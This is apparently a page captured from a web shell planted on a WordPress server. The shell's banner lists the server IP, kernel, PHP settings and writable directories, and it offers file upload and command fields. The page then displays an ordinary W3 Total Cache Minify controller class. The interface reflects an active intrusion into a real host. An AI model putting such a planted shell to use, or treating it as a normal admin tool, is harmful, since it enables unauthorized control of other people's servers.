403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/w3-total-cache/lib/Minify/Minify/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/w3-total-cache/lib/Minify/Minify/Controller/Page.php
<?php
namespace W3TCL\Minify;
/**
 * Class Minify_Controller_Page
 * @package Minify
 */

/**
 * Controller class for serving a single HTML page
 *
 * @link http://code.google.com/p/minify/source/browse/trunk/web/examples/1/index.php#59
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 */
class Minify_Controller_Page extends Minify_Controller_Base {

	/**
	 * Set up source of HTML content
	 *
	 * @param array $options controller and Minify options
	 * @return array Minify options
	 *
	 * Controller options:
	 *
	 * 'content': (required) HTML markup
	 *
	 * 'id': (required) id of page (string for use in server-side caching)
	 *
	 * 'lastModifiedTime': timestamp of when this content changed. This
	 * is recommended to allow both server and client-side caching.
	 *
	 * 'minifyAll': should all CSS and Javascript blocks be individually
	 * minified? (default false)
	 *
	 * @todo Add 'file' option to read HTML file.
	 */
	public function setupSources($options) {
		if (isset($options['file'])) {
			$sourceSpec = array(
				'filepath' => $options['file']
			);
			$f = $options['file'];
		} else {
			// strip controller options
			$sourceSpec = array(
				'content' => $options['content']
				,'id' => $options['id']
			);
			$f = $options['id'];
			unset($options['content'], $options['id']);
		}
		// something like "builder,index.php" or "directory,file.html"
		$this->selectionId = strtr(substr($f, 1 + strlen(dirname(dirname($f)))), '/\\', ',,');

		if (isset($options['minifyAll'])) {
			// this will be the 2nd argument passed to Minify_HTML::minify()
			$sourceSpec['minifyOptions'] = array(
				'cssMinifier' => array('\W3TCL\Minify\Minify_CSS', 'minify')
				,'jsMinifier' => array('\W3TCL\Minify\JSMin', 'minify')
			);
			unset($options['minifyAll']);
		}
		$this->sources[] = new Minify_Source($sourceSpec);

		$options['contentType'] = Minify::TYPE_HTML;
		return $options;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit